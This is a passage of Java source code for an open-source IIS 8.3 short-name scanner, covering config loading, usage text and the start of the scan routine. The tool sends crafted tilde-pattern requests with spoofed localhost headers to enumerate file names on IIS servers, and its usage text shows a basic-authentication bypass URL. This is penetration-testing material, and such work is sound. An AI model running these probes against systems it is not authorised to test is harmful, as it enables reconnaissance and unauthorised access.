public class FileDirObject { 16 | private Boolean isDirectory; 17 | private String fullName; 18 | // private String name; 19 | // private String extension; 20 | private String parentPath; 21 | private String baseTarget; 22 | private String possibleName; 23 | private String possibleExtension; 24 | private String actualNameVerified; 25 | private String verificationMethod; 26 | 27 | public FileDirObject(Boolean isDirectory, String name, String parentPath, 28 | String baseTarget) { 29 | super(); 30 | this.isDirectory = isDirectory; 31 | this.fullName = name; 32 | this.parentPath = parentPath; 33 | this.baseTarget = baseTarget; 34 | } 35 | 36 | public Boolean getIsDirectory() { 37 | return isDirectory; 38 | } 39 | 40 | public void setIsDirectory(Boolean isDirectory) { 41 | this.isDirectory = isDirectory; 42 | } 43 | 44 | public String getFullName() { 45 | return fullName; 46 | } 47 | 48 | public void setFullName(String fullName) { 49 | this.fullName = fullName; 50 | } 51 | 52 | public String getParentPath() { 53 | return parentPath; 54 | } 55 | 56 | public void setParentPath(String parentPath) { 57 | this.parentPath = parentPath; 58 | } 59 | 60 | public String getBaseTarget() { 61 | return baseTarget; 62 | } 63 | 64 | public void setBaseTarget(String baseTarget) { 65 | this.baseTarget = baseTarget; 66 | } 67 | 68 | public String getPossibleName() { 69 | String possibleNameResult = ""; 70 | if (possibleName.isEmpty()) { 71 | if (fullName.lastIndexOf("~") < 6) { 72 | possibleNameResult = fullName.substring(0, fullName.lastIndexOf("~")); 73 | } 74 | } else 75 | possibleNameResult = possibleName; 76 | return possibleNameResult; 77 | } 78 | 79 | public void setPossibleName(String possibleName) { 80 | this.possibleName = possibleName; 81 | } 82 | 83 | public String getPossibleExtension() { 84 | String possibleExtentionResult = ""; 85 | 86 | if (possibleExtension.isEmpty()) { 87 | if (fullName.length() - fullName.lastIndexOf(".") <= 3) 88 | possibleExtentionResult = getExtension(); 89 | } else { 90 | possibleExtentionResult = possibleExtension; 91 | } 92 | 93 | return possibleExtentionResult; 94 | } 95 | 96 | public void setPossibleExtension(String possibleExtension) { 97 | this.possibleExtension = possibleExtension; 98 | } 99 | 100 | public String getActualNameVerified() { 101 | return actualNameVerified; 102 | } 103 | 104 | public void setActualNameVerified(String actualNameVerified) { 105 | this.actualNameVerified = actualNameVerified; 106 | } 107 | 108 | public String getVerificationMethod() { 109 | return verificationMethod; 110 | } 111 | 112 | public void setVerificationMethod(String verificationMethod) { 113 | this.verificationMethod = verificationMethod; 114 | } 115 | 116 | public String getName() { 117 | return fullName.substring(0, fullName.lastIndexOf(".")); 118 | } 119 | 120 | public String getExtension() { 121 | 122 | return fullName.substring(fullName.lastIndexOf(".")); 123 | } 124 | 125 | @Override 126 | public String toString() { 127 | return "FileDirObject [name=" + fullName + "]"; 128 | } 129 | 130 | @Override 131 | public int hashCode() { 132 | final int prime = 31; 133 | int result = 1; 134 | result = prime * result 135 | + ((isDirectory == null) ? 0 : isDirectory.hashCode()); 136 | result = prime * result + ((fullName == null) ? 0 : fullName.hashCode()); 137 | result = prime * result 138 | + ((parentPath == null) ? 0 : parentPath.hashCode()); 139 | return result; 140 | } 141 | 142 | @Override 143 | public boolean equals(Object obj) { 144 | if (this == obj) 145 | return true; 146 | if (obj == null) 147 | return false; 148 | if (getClass() != obj.getClass()) 149 | return false; 150 | FileDirObject other = (FileDirObject) obj; 151 | if (isDirectory == null) { 152 | if (other.isDirectory != null) 153 | return false; 154 | } else if (!isDirectory.equals(other.isDirectory)) 155 | return false; 156 | if (fullName == null) { 157 | if (other.fullName != null) 158 | return false; 159 | } else if (!fullName.equals(other.fullName)) 160 | return false; 161 | if (parentPath == null) { 162 | if (other.parentPath != null) 163 | return false; 164 | } else if (!parentPath.equals(other.parentPath)) 165 | return false; 166 | return true; 167 | } 168 | 169 | } 170 | -------------------------------------------------------------------------------- /src/main/java/iisShortNameScanner/IISShortNameScannerTool.java: -------------------------------------------------------------------------------- 1 | /* 2 | * // IIS Shortname Scanner 3 | * // Released as open source by Soroush Dalili (@irsdl) 4 | * // Researched & developed by Soroush Dalili (@irsdl) 5 | * // Project link: https://github.com/irsdl/IIS-ShortName-Scanner 6 | * // Released under AGPL see LICENSE for more information 7 | */ 8 | 9 | package iisShortNameScanner; 10 | 11 | import org.apache.commons.text.StringEscapeUtils; 12 | import org.apache.hc.client5.http.config.RequestConfig; 13 | import org.apache.hc.client5.http.impl.classic.CloseableHttpClient; 14 | import org.apache.hc.client5.http.impl.classic.CloseableHttpResponse; 15 | import org.apache.hc.client5.http.impl.classic.HttpClientBuilder; 16 | import org.apache.hc.client5.http.impl.classic.HttpClients; 17 | import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager; 18 | import org.apache.hc.client5.http.socket.ConnectionSocketFactory; 19 | import org.apache.hc.client5.http.socket.PlainConnectionSocketFactory; 20 | import org.apache.hc.client5.http.ssl.NoopHostnameVerifier; 21 | import org.apache.hc.client5.http.ssl.SSLConnectionSocketFactory; 22 | import org.apache.hc.core5.http.Header; 23 | import org.apache.hc.core5.http.HttpEntity; 24 | import org.apache.hc.core5.http.HttpHost; 25 | import org.apache.hc.core5.http.config.Registry; 26 | import org.apache.hc.core5.http.config.RegistryBuilder; 27 | import org.apache.hc.core5.http.io.entity.EntityUtils; 28 | import org.apache.hc.core5.http.io.entity.StringEntity; 29 | import org.apache.hc.core5.http.message.BasicClassicHttpRequest; 30 | import org.apache.hc.core5.http.message.BasicHeader; 31 | 32 | import javax.net.ssl.SSLContext; 33 | import javax.net.ssl.TrustManager; 34 | import javax.net.ssl.X509TrustManager; 35 | import java.io.*; 36 | import java.net.InetSocketAddress; 37 | import java.net.Proxy; 38 | import java.net.URLDecoder; 39 | import java.net.URLEncoder; 40 | import java.nio.charset.Charset; 41 | import java.nio.charset.CodingErrorAction; 42 | import java.nio.charset.StandardCharsets; 43 | import java.nio.charset.UnsupportedCharsetException; 44 | import java.nio.file.Files; 45 | import java.nio.file.Paths; 46 | import java.nio.file.StandardOpenOption; 47 | import java.text.SimpleDateFormat; 48 | import java.util.*; 49 | import java.util.concurrent.TimeUnit; 50 | import java.util.regex.Matcher; 51 | import java.util.regex.Pattern; 52 | 53 | import static org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager.DEFAULT_MAX_CONNECTIONS_PER_ROUTE; 54 | import static org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager.DEFAULT_MAX_TOTAL_CONNECTIONS; 55 | 56 | public class IISShortNameScannerTool { 57 | /* Do not change the below lines if it's Greek to you!*/ 58 | 59 | private static boolean debugMode; 60 | private static boolean saveOutput; 61 | private static String outputFile; 62 | private static boolean isOutputFileChecked; 63 | private static boolean hassleFree; 64 | private static String customUserAgent; 65 | private static String customCookie; 66 | private static String additionalQuery; 67 | private static String scanList; 68 | private static int maxConnectionTimeOut; 69 | private static int maxRetryTimes; 70 | private static String proxyServerName; 71 | private static int proxyServerPort; 72 | private static Long maxDelayAfterEachRequest; 73 | private static String questionMarkSymbol; 74 | private static String asteriskSymbol; 75 | private static String magicFileName; 76 | private static String magicFileExtension; 77 | private static String[] magicFinalPartList; 78 | private static String[] additionalHeaders; 79 | private static String[] requestMethod; 80 | private static int ignoreHeaderLevel; 81 | private static int ignoreBodyLevel; 82 | private static int acceptableDifferenceLengthBetweenResponses; 83 | private static boolean onlyCheckForVulnerableSite = false; 84 | private static String configFile = "config.xml"; 85 | private final static String strVersion = "2023.4"; 86 | public Set finalResultsFiles = new TreeSet<>(); 87 | public Set finalResultsDirs = new TreeSet<>(); 88 | private static String[] arrayScanList; 89 | private String[] arrayScanListExt; 90 | private String[] arrayScanListName; 91 | private Set scanListName = new TreeSet<>(); 92 | private Set scanListExtension = new TreeSet<>(); 93 | private final static String[] marker = {"[-]", "[\\]", "[|]", "[/]"}; // To show the progress 94 | private static String destURL; 95 | private static ShowProgressMode currentShowProgressMode; 96 | private static int concurrentThreads; 97 | private String magicFinalPart; 98 | private String reliableRequestMethod; 99 | 100 | private List validStatusList = new ArrayList<>(); 101 | private List invalidStatusList = new ArrayList<>(); 102 | private boolean isQuestionMarkReliable = false; 103 | private boolean isExtensionReliable = false; 104 | private int threadCounter = 0; 105 | private ThreadPool threadPool = new ThreadPool(0); 106 | private long reqCounter = 0; 107 | private Proxy proxy; 108 | private int sleepTime = 2; // 2 seconds sleep when we have network error! 109 | private boolean isNetworkReliable = true; 110 | CloseableHttpClient httpClient = null; 111 | private static String nameStartsWith = ""; 112 | private static String extStartsWith = ""; 113 | private static int maxNumericalPart = 4; // 9 in Windows 95, 98, ME 114 | private static int forceNumericalPart = 1; 115 | private static boolean showActualNames; 116 | private static boolean isLastFolderIgnored = false; 117 | private static boolean useProvidedURLWithoutChange; 118 | private static boolean performUrlEncoding; 119 | 120 | private static int minVulnerableCheckRepeat; 121 | 122 | 123 | public static void main(String[] args) { 124 | // Get URL from input! 125 | IISShortNameScannerTool obj = new IISShortNameScannerTool(); 126 | 127 | try { 128 | if (args.length <= 4) { 129 | Console console = System.console(); 130 | String url = ""; 131 | if (args.length == 0) { 132 | // To help users to select proper values after execution 133 | showUsage(); 134 | if (console != null) { 135 | url = console.readLine("What is the target (e.g. http://localhost:8080/folder/)? "); 136 | if (url.length() > 5) { 137 | 138 | String _hasNewConfigFile = console.readLine("Do you want to use a new config file [Y=Yes, Anything Else=No]? "); 139 | 140 | if (_hasNewConfigFile.equalsIgnoreCase("y") || _hasNewConfigFile.equalsIgnoreCase("yes")) { 141 | String _newConfigFile = console.readLine("New config file?"); 142 | if (!_newConfigFile.equals("")) 143 | configFile = _newConfigFile; 144 | } 145 | 146 | String _onlyCheckForVulnerableSiteString = console.readLine("Do you want to only verify whether or not the target is vulnerable " 147 | + "without scanning it thoroughly [Y=Yes, Anything Else=No]? "); 148 | if (_onlyCheckForVulnerableSiteString.equalsIgnoreCase("y") || _onlyCheckForVulnerableSiteString.equalsIgnoreCase("yes")) { 149 | onlyCheckForVulnerableSite = true; 150 | currentShowProgressMode = ShowProgressMode.ALL; 151 | concurrentThreads = 0; 152 | } else { 153 | String _scanMode = console.readLine("Scan Mode [0=Show final results only, 1=Show final results step by step, 2=Show Progress (default)]? "); 154 | switch (_scanMode) { 155 | case "0" -> currentShowProgressMode = ShowProgressMode.FINALRESULT; 156 | case "1" -> currentShowProgressMode = ShowProgressMode.PARTIALRESULT; 157 | default -> currentShowProgressMode = ShowProgressMode.ALL; 158 | } 159 | 160 | 161 | String _concurrentThreadsString = console.readLine("Number of threads [0-50 (20 default)]? "); 162 | if (!_concurrentThreadsString.equals("") && obj.isInteger(_concurrentThreadsString)) { 163 | int _concurrentThreads = Integer.parseInt(_concurrentThreadsString); 164 | if (_concurrentThreads >= 0 && _concurrentThreads <= 50) { 165 | concurrentThreads = _concurrentThreads; 166 | } else { 167 | concurrentThreads = 20; 168 | } 169 | } else { 170 | concurrentThreads = 20; 171 | } 172 | } 173 | 174 | } 175 | } 176 | } else { 177 | 178 | // custom config file 179 | if (args.length == 2 || args.length == 4) { 180 | configFile = args[args.length - 1]; 181 | } 182 | 183 | if (args.length == 1 || args.length == 2) { 184 | // Only check for a vulnerable target 185 | onlyCheckForVulnerableSite = true; 186 | url = args[0]; 187 | currentShowProgressMode = ShowProgressMode.FINALRESULT; 188 | concurrentThreads = 0; 189 | } else { 190 | // Full Scan Mode 191 | if (args[0].equals("0")) { 192 | currentShowProgressMode = ShowProgressMode.FINALRESULT; // Just show the final results 193 | } else if (args[0].equals("1")) { 194 | currentShowProgressMode = ShowProgressMode.PARTIALRESULT; // Just show the findings one by one 195 | } else { 196 | currentShowProgressMode = ShowProgressMode.ALL; // Show progress 197 | } 198 | concurrentThreads = Integer.parseInt(args[1]); 199 | if (concurrentThreads < 0) { 200 | concurrentThreads = 0; 201 | } 202 | 203 | if (concurrentThreads > 0 && currentShowProgressMode.equals(ShowProgressMode.ALL)) { 204 | //showProgress = 1; // Show progress may not work beautifully in Multithread mode, but I like it! 205 | } 206 | 207 | url = args[2]; 208 | } 209 | } 210 | 211 | // Load the config file 212 | loadConfig(); 213 | 214 | // Basic check for the URL 215 | if (url.length() < 8) throw new Exception("URL is too short!"); // URL is too short 216 | if (!useProvidedURLWithoutChange) { 217 | if (url.indexOf("?") > 0) 218 | url = url.substring(0, url.indexOf("?")); 219 | if (url.indexOf(";") > 0) 220 | url = url.substring(0, url.indexOf(";")); 221 | if (!url.endsWith("/") && url.lastIndexOf("/") < 8) 222 | url += "/"; // add slash after the domain to the root dir 223 | if (!url.endsWith("/")) 224 | isLastFolderIgnored = true; 225 | } 226 | 227 | 228 | destURL = url; 229 | 230 | if (!useProvidedURLWithoutChange) 231 | destURL = destURL.substring(0, destURL.lastIndexOf("/") + 1); 232 | 233 | if (destURL.length() < 8) throw new Exception(); // URL is too short 234 | 235 | // show some outputs 236 | showOutputs("-- Current Configuration -- Begin", ShowProgressMode.PARTIALRESULT); 237 | showOutputs("Scan Mode: " + currentShowProgressMode.toString(), ShowProgressMode.PARTIALRESULT); 238 | showOutputs("Number of threads: " + concurrentThreads, ShowProgressMode.PARTIALRESULT); 239 | showOutputs("Config file: " + configFile, ShowProgressMode.PARTIALRESULT); 240 | showOutputs("Scanner version: " + strVersion, ShowProgressMode.PARTIALRESULT); 241 | 242 | 243 | // show some outputs 244 | showOutputs("-- Current Configuration -- End", ShowProgressMode.PARTIALRESULT); 245 | 246 | arrayScanList = scanList.split(""); 247 | 248 | // Delay after each request 249 | if (maxDelayAfterEachRequest == 0 && !hassleFree) { 250 | if (console != null) { 251 | String delayMilliseconds = console.readLine("How much delay do you want after each request in milliseconds [default=0]? "); 252 | if (!delayMilliseconds.equals("") && obj.isLong(delayMilliseconds)) { 253 | maxDelayAfterEachRequest = Long.parseLong(delayMilliseconds); 254 | if (maxDelayAfterEachRequest < 0) { 255 | maxDelayAfterEachRequest = (long) 0; 256 | } 257 | } 258 | } 259 | } 260 | 261 | showOutputs("Max delay after each request in milliseconds = " + String.valueOf(maxDelayAfterEachRequest), ShowProgressMode.PARTIALRESULT); 262 | 263 | // Proxy server setting 264 | if ((Objects.equals(proxyServerName, "") || proxyServerPort == 0) && !hassleFree) { 265 | if (console != null) { 266 | String hasProxy = console.readLine("Do you want to use proxy [Y=Yes, Anything Else=No]? "); 267 | if (hasProxy.equalsIgnoreCase("y") || hasProxy.equalsIgnoreCase("yes")) { 268 | String _proxyServerName = console.readLine("Proxy server Name? (enter for 127.0.0.1)"); 269 | if(_proxyServerName.isBlank()){ 270 | _proxyServerName = "127.0.0.1"; 271 | } 272 | 273 | String _proxyServerPort = console.readLine("Proxy server port number? (leave empty to cancel use of a proxy) "); 274 | if (!_proxyServerPort.isBlank() && obj.isInteger(_proxyServerPort)) { 275 | // We can set the proxy server now 276 | proxyServerName = _proxyServerName; 277 | proxyServerPort = Integer.parseInt(_proxyServerPort); 278 | if (proxyServerPort <= 0 || proxyServerPort > 65535) { 279 | proxyServerName = ""; 280 | proxyServerPort = 0; 281 | } 282 | } 283 | 284 | if(proxyServerPort == 0){ 285 | showOutputs("Proxy server has been ignored."); 286 | } 287 | 288 | } 289 | } 290 | } 291 | 292 | if (!proxyServerName.equals("")) 293 | showOutputs("\rProxy Server:" + proxyServerName + ":" + String.valueOf(proxyServerPort) + "\r\n", ShowProgressMode.PARTIALRESULT); 294 | else 295 | showOutputs("\rNo proxy has been used.\r\n", ShowProgressMode.PARTIALRESULT); 296 | 297 | // Beginning... 298 | Date start_date = new Date(); 299 | 300 | showOutputs("\rScanning...\r\n", ShowProgressMode.PARTIALRESULT); 301 | 302 | // Start scanning ... 303 | obj.doScan(); 304 | Date end_date = new Date(); 305 | long l1 = start_date.getTime(); 306 | long l2 = end_date.getTime(); 307 | long difference = l2 - l1; 308 | 309 | 310 | // ...Finished 311 | showOutputs("\r\n\rFinished in: " + difference / 1000 + " second(s)", ShowProgressMode.PARTIALRESULT); 312 | 313 | if (console != null && args.length == 0) { 314 | // pause for output 315 | console.readLine("\r\nPress ENTER to quit..."); 316 | } 317 | } else { 318 | showUsage(); 319 | } 320 | 321 | } catch (Exception err) { 322 | if (debugMode) { 323 | StringWriter sw = new StringWriter(); 324 | err.printStackTrace(new PrintWriter(sw)); 325 | String exceptionAsString = sw.toString(); 326 | showOutputs(exceptionAsString, OutputType.ERROR); 327 | } else { 328 | if (System.console() != null) 329 | showOutputs("An error has occurred: " + err.getMessage(), OutputType.ERROR); 330 | if (args.length != 0) showUsage(); 331 | } 332 | } 333 | } 334 | 335 | private static void loadConfig() throws Exception { 336 | try { 337 | File file = new File(configFile); 338 | FileInputStream fileInput = new FileInputStream(file); 339 | Properties properties = new Properties(); 340 | 341 | properties.loadFromXML(fileInput); 342 | fileInput.close(); 343 | 344 | Enumeration enuKeys = properties.keys(); 345 | String additionalHeadersDelimiter = ""; 346 | String additionalHeadersString = ""; 347 | String magicFinalPartDelimiter = ""; 348 | String magicFinalPartStringList = ""; 349 | String requestMethodDelimiter = ""; 350 | String requestMethodString = ""; 351 | 352 | StringBuilder configTextResult = new StringBuilder(); 353 | 354 | while (enuKeys.hasMoreElements()) { 355 | String key = (String) enuKeys.nextElement(); 356 | String value = properties.getProperty(key); 357 | 358 | switch (key.toLowerCase()) { 359 | case "debug" -> { 360 | try { 361 | debugMode = Boolean.parseBoolean(properties.getProperty(key)); 362 | } catch (Exception e) { 363 | debugMode = false; 364 | } 365 | } 366 | case "saveoutput" -> { 367 | try { 368 | saveOutput = Boolean.parseBoolean(properties.getProperty(key)); 369 | } catch (Exception e) { 370 | saveOutput = false; 371 | } 372 | } 373 | case "outputfile" -> { 374 | outputFile = properties.getProperty(key, "iis_shortname_scanner_logfile.txt"); 375 | isOutputFileChecked = false; 376 | } 377 | case "hasslefree" -> { 378 | try { 379 | hassleFree = Boolean.parseBoolean(properties.getProperty(key)); 380 | } catch (Exception e) { 381 | hassleFree = true; 382 | } 383 | } 384 | case "useragent" -> 385 | customUserAgent = properties.getProperty(key, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10"); 386 | case "cookies" -> customCookie = properties.getProperty(key, "IIS_ShortName_Scanner=1"); 387 | case "headersdelimiter" -> additionalHeadersDelimiter = properties.getProperty(key, "@@"); 388 | case "headers" -> 389 | additionalHeadersString = properties.getProperty(key, "X-Forwarded-For: 127.0.0.1@@X-Originating-IP: 127.0.0.1@@X-Cluster-Client-Ip: 127.0.0.1"); 390 | case "urlsuffix" -> 391 | additionalQuery = properties.getProperty(key, "?aspxerrorpath=/&aspxerrorpath=/"); 392 | case "inscopecharacters" -> 393 | scanList = properties.getProperty(key, "ETAONRISHDLFCMUGYPWBVKJXQZ0123456789!#$%&'()-@^_`{}~"); 394 | case "maxconnectiontimeout" -> { 395 | try { 396 | maxConnectionTimeOut = Integer.parseInt(properties.getProperty(key, "20000")); 397 | } catch (Exception e) { 398 | maxConnectionTimeOut = 20000; 399 | } 400 | if(maxConnectionTimeOut < 0) 401 | maxConnectionTimeOut = 0; 402 | } 403 | case "maxretrytimes" -> { 404 | try { 405 | maxRetryTimes = Integer.parseInt(properties.getProperty(key, "10")); 406 | } catch (Exception e) { 407 | maxRetryTimes = 10; 408 | } 409 | if(maxRetryTimes < 0) 410 | maxRetryTimes = 0; 411 | } 412 | case "proxyservername" -> proxyServerName = properties.getProperty(key, ""); 413 | case "proxyserverport" -> { 414 | try { 415 | proxyServerPort = Integer.parseInt(properties.getProperty(key, "0")); 416 | } catch (Exception e) { 417 | proxyServerPort = 0; 418 | } 419 | if(proxyServerPort < 0 || proxyServerPort > 65535) 420 | proxyServerPort = 0; 421 | } 422 | case "maxdelayaftereachrequest" -> { 423 | try { 424 | maxDelayAfterEachRequest = Long.parseLong(properties.getProperty(key, "0")); 425 | } catch (Exception e) { 426 | maxDelayAfterEachRequest = (long) 0; 427 | } 428 | if(maxDelayAfterEachRequest < 0) 429 | maxDelayAfterEachRequest = (long) 0; 430 | } 431 | case "magicfinalpartdelimiter" -> magicFinalPartDelimiter = properties.getProperty(key, ","); 432 | case "magicfinalpartlist" -> 433 | magicFinalPartStringList = properties.getProperty(key, "\\a.asp,/a.asp,\\a.aspx,/a.aspx,/a.shtml,/a.asmx,/a.ashx,/a.config,/a.php,/a.jpg,/a.xxx"); 434 | case "questionmarksymbol" -> questionMarkSymbol = properties.getProperty(key, "?"); 435 | case "asterisksymbol" -> asteriskSymbol = properties.getProperty(key, "*"); 436 | case "magicfilename" -> magicFileName = properties.getProperty(key, "*~1*"); 437 | case "magicfileextension" -> magicFileExtension = properties.getProperty(key, "*"); 438 | case "requestmethoddelimiter" -> requestMethodDelimiter = properties.getProperty(key, ","); 439 | case "requestmethod" -> 440 | requestMethodString = properties.getProperty(key, "OPTIONS,GET,POST,HEAD,TRACE,TRACK,DEBUG"); 441 | case "acceptabledifferencelengthbetweenresponses" -> { 442 | try { 443 | acceptableDifferenceLengthBetweenResponses = Integer.parseInt(properties.getProperty(key, "5")); 444 | } catch (Exception e) { 445 | acceptableDifferenceLengthBetweenResponses = -1; 446 | } 447 | 448 | if(acceptableDifferenceLengthBetweenResponses < 0) 449 | acceptableDifferenceLengthBetweenResponses = -1; 450 | } 451 | case "ignoreheaderlevel" -> { 452 | try { 453 | ignoreHeaderLevel = Integer.parseInt(properties.getProperty(key, "2")); 454 | } catch (Exception e) { 455 | ignoreHeaderLevel = 2; 456 | } 457 | if(ignoreHeaderLevel>3) 458 | ignoreHeaderLevel = 3; 459 | else if(ignoreHeaderLevel < 0) 460 | ignoreHeaderLevel = 0; 461 | } 462 | case "ignorebodylevel" -> { 463 | try { 464 | ignoreBodyLevel = Integer.parseInt(properties.getProperty(key, "1")); 465 | } catch (Exception e) { 466 | ignoreBodyLevel = 1; 467 | } 468 | if(ignoreBodyLevel>1) 469 | ignoreBodyLevel = 1; 470 | else if(ignoreBodyLevel < 0) 471 | ignoreBodyLevel = 0; 472 | } 473 | case "namestartswith" -> { 474 | nameStartsWith = properties.getProperty(key, ""); 475 | if (nameStartsWith.length() > 5) { 476 | nameStartsWith = nameStartsWith.substring(0, 5); 477 | } 478 | } 479 | case "extstartswith" -> { 480 | extStartsWith = properties.getProperty(key, ""); 481 | if (extStartsWith.length() > 2) { 482 | extStartsWith = extStartsWith.substring(0, 3); 483 | } 484 | } 485 | case "maxnumericalpart" -> { 486 | maxNumericalPart = Integer.parseInt(properties.getProperty(key, "4")); 487 | if (maxNumericalPart < 1) maxNumericalPart = 1; // set to minimum 488 | } 489 | case "forcenumericalpart" -> { 490 | forceNumericalPart = Integer.parseInt(properties.getProperty(key, "1")); 491 | if (forceNumericalPart < 1) forceNumericalPart = 1; // set to minimum 492 | } 493 | case "showactualnames" -> { 494 | try { 495 | showActualNames = Boolean.parseBoolean(properties.getProperty(key)); 496 | } catch (Exception e) { 497 | showActualNames = true; 498 | } 499 | } 500 | case "useprovidedurlwithoutchange" -> { 501 | try { 502 | useProvidedURLWithoutChange = Boolean.parseBoolean(properties.getProperty(key)); 503 | } catch (Exception e) { 504 | useProvidedURLWithoutChange = false; 505 | } 506 | } 507 | case "performurlencoding" -> { 508 | try { 509 | performUrlEncoding = Boolean.parseBoolean(properties.getProperty(key)); 510 | } catch (Exception e) { 511 | performUrlEncoding = false; 512 | } 513 | } 514 | case "minvulnerablecheckrepeat" -> { 515 | minVulnerableCheckRepeat = Integer.parseInt(properties.getProperty(key, "3")); 516 | if (minVulnerableCheckRepeat < 1) minVulnerableCheckRepeat = 1; // set to minimum 517 | } 518 | default -> showOutputs("Unknown item in config file: " + key); 519 | } 520 | if (Objects.equals(value, "")) value = "Default"; 521 | configTextResult.append(key).append(": ").append(value).append("\r\n"); 522 | } 523 | 524 | showOutputs(configTextResult.toString(), ShowProgressMode.PARTIALRESULT); 525 | 526 | if(acceptableDifferenceLengthBetweenResponses >=0 && ignoreHeaderLevel <= 1 && ignoreBodyLevel == 0){ 527 | acceptableDifferenceLengthBetweenResponses = -1; 528 | showOutputs("acceptableDifferenceLengthBetweenResponses has been set to -1 as header and body are being ignored in comparison", OutputType.DEBUG); 529 | } 530 | 531 | additionalHeaders = additionalHeadersString.split(additionalHeadersDelimiter); 532 | magicFinalPartList = magicFinalPartStringList.split(magicFinalPartDelimiter); 533 | requestMethod = requestMethodString.split(requestMethodDelimiter); 534 | if (forceNumericalPart > maxNumericalPart) { 535 | maxNumericalPart = forceNumericalPart; 536 | } 537 | } catch (FileNotFoundException e) { 538 | showOutputs("Error: config file was not found: " + configFile, OutputType.ERROR); 539 | throw new Exception(); 540 | } catch (IOException err) { 541 | showOutputs("Error in loading config file: " + configFile, OutputType.ERROR); 542 | StringWriter sw = new StringWriter(); 543 | err.printStackTrace(new PrintWriter(sw)); 544 | String exceptionAsString = sw.toString(); 545 | showOutputs(exceptionAsString, OutputType.ERROR); 546 | throw new Exception(); 547 | } 548 | } 549 | 550 | private static void showUsage() { 551 | char[] delimiter = new char[120]; 552 | Arrays.fill(delimiter, '*'); 553 | showOutputs(""); 554 | showOutputs(String.valueOf(delimiter)); 555 | 556 | showOutputs(" _____ _____ _____ _____ _ _ _ _ _____ \r\n" 557 | + "|_ _|_ _/ ___| / ___| | | | | \\ | | / ___| \r\n" 558 | + " | | | | \\ `--. \\ `--.| |__ ___ _ __| |_ | \\| | __ _ _ __ ___ ___ \\ `--. ___ __ _ _ __ _ __ ___ _ __ \r\n" 559 | + " | | | | `--. \\ `--. \\ '_ \\ / _ \\| '__| __| | . ` |/ _` | '_ ` _ \\ / _ \\ `--. \\/ __/ _` | '_ \\| '_ \\ / _ \\ '__|\r\n" 560 | + " _| |_ _| |_/\\__/ / /\\__/ / | | | (_) | | | |_ | |\\ | (_| | | | | | | __/ /\\__/ / (_| (_| | | | | | | | __/ | \r\n" 561 | + " \\___/ \\___/\\____/ \\____/|_| |_|\\___/|_| \\__| \\_| \\_/\\__,_|_| |_| |_|\\___| \\____/ \\___\\__,_|_| |_|_| |_|\\___|_| \r\n"); 562 | showOutputs("\r\n* IIS Short Name (8.3) Scanner \r\n* by Soroush Dalili - @irsdl"); 563 | showOutputs("* Version: " + strVersion); 564 | showOutputs("* WARNING: You are only allowed to run the scanner against the websites which you have given permission to scan.\r\n" 565 | + " We do not accept any responsibility for any damage/harm that this application causes to your computer,\r\n" 566 | + " or your network as it is only a proof of concept and may lead to unknown issues.\r\n" 567 | + " It is your responsibility to use this code legally and you are not allowed to sell this code in any way.\r\n" 568 | + " The programmer is not responsible for any illegal or malicious use of this code. Be Ethical! \r\n"); 569 | 570 | showOutputs(String.valueOf(delimiter)); 571 | showOutputs("\r\nUSAGE 1 (To verify if the target is vulnerable with the default config file):\r\n java -jar iis_shortname_scanner.jar [URL]\r\n"); 572 | showOutputs("\r\nUSAGE 2 (To find 8.3 file names with the default config file):\r\n java -jar iis_shortname_scanner.jar [ShowProgress] [ThreadNumbers] [URL]\r\n"); 573 | showOutputs("\r\nUSAGE 3 (To verify if the target is vulnerable with a new config file):\r\n java -jar iis_shortname_scanner.jar [URL] [configFile]\r\n"); 574 | showOutputs("\r\nUSAGE 4 (To find 8.3 file names with a new config file):\r\n java -jar iis_shortname_scanner.jar [ShowProgress] [ThreadNumbers] [URL] [configFile]\r\n"); 575 | showOutputs("DETAILS:"); 576 | showOutputs(" [ShowProgress]: 0= Show final results only - 1= Show final results step by step - 2= Show Progress"); 577 | showOutputs(" [ThreadNumbers]: 0= No thread - Integer Number = Number of concurrent threads [be careful about IIS Denial of Service]"); 578 | showOutputs(" [URL]: A complete URL - starts with http/https protocol"); 579 | showOutputs(" [configFile]: path to a new config file which is based on config.xml\r\n\r\n"); 580 | showOutputs("- Example 0 (to see if the target is vulnerable):\r\n java -jar iis_shortname_scanner.jar http://example.com/folder/\r\n"); 581 | showOutputs("- Example 1 (uses no thread - very slow):\r\n java -jar iis_shortname_scanner.jar 2 0 http://example.com/folder/new%20folder/\r\n"); 582 | showOutputs("- Example 2 (uses 20 threads - recommended):\r\n java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/new%20folder/\r\n"); 583 | showOutputs("- Example 3 (saves output in a text file):\r\n java -jar iis_shortname_scanner.jar 0 20 http://example.com/folder/new%20folder/ > c:\\results.txt\r\n"); 584 | showOutputs("- Example 4 (bypasses IIS basic authentication):\r\n java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/AuthNeeded:$I30:$Index_Allocation/\r\n"); 585 | showOutputs("- Example 5 (using a new config file):\r\n java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/ newconfig.xml \r\n"); 586 | showOutputs("Note 1: Edit config.xml file to change the scanner settings, for instance to add additional headers."); 587 | showOutputs("Note 2: Sometimes it does not work for the first time and you need to try again."); 588 | showOutputs(String.valueOf(delimiter)); 589 | } 590 | 591 | private void doScan() throws Exception { 592 | magicFileName = magicFileName.replace("*", asteriskSymbol); 593 | magicFileExtension = magicFileExtension.replace("*", asteriskSymbol); 594 | 595 | boolean isVulnerableResult = false; 596 | // Create the proxy string 597 | if (!proxyServerName.equals("") && proxyServerPort > 0) { 598 | proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxyServerName, proxyServerPort)); 599 | } 600 | 601 | for (String s1 : magicFinalPartList) { 602 | for (String s2 : requestMethod) { 603 | magicFinalPart = s1; 604 | reliableRequestMethod = s2; 605 | showOutputs("Testing request method: \"" + s2 + "\" with magic part: \"" + s1 + "\" ...", ShowProgressMode.PARTIALRESULT); 606 | 607 | 608 | isVulnerableResult = isVulnerable(); 609 | if (isVulnerableResult) { 610 | if (onlyCheckForVulnerableSite) { 611 | break; 612 | } else { 613 | showOutputs("Early result: the target is probably vulnerable."); 614 | isQuestionMarkReliable = isQuestionMarkReliable(); 615 | if (concurrentThreads == 0) { 616 | iterateScanFileNameLegacy(""); 617 | } else { 618 | //Done: 1- purify the 